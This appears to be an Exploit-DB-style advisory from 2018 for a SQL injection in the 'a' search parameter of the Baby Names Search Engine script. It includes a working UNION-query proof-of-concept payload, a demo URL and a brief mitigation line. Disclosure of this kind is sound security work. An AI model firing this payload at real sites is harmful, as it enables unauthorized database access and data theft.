Baby Names Search Engine v1.0 - 'a' SQL Injection

vendor:

Baby Names Search Engine

by:

Özkan Mustafa Akkus (AkkuS)

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: Baby Names Search Engine

Affected Version From: 1

Affected Version To: 2

Patch Exists: YES

Related CWE: N/A

CPE: a:mediageni:baby_names_search_engine

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

Baby Names Search Engine v1.0 – ‘a’ SQL Injection

The vulnerability allows an attacker to inject sql commands from search section with 'a' parameter.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Baby Names Search Engine v1.0 - 'a' SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaGeni
# Vendor Homepage:
https://codecanyon.net/item/baby-names-search-engine/11864316
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from search section with 'a' parameter.
====================================================

# PoC : SQLi :

Parameter: a (GET)

    Type: UNION query
    Demo:
http://www.site.com/index.php?q=test&M=true&F=true&a=Turkish&type=3
    Title: Generic UNION query (NULL) - 4 columns
    Payload: q=test&M=true&F=true&a=Turkish' UNION ALL SELECT
NULL,CONCAT(CONCAT('qzjqq','syfofZIoCuhULUBWOuONCiDLDFbwXYyhSdAJvCBU'),'qbzxq'),NULL,NULL--
ZYcF&type=3

====================================================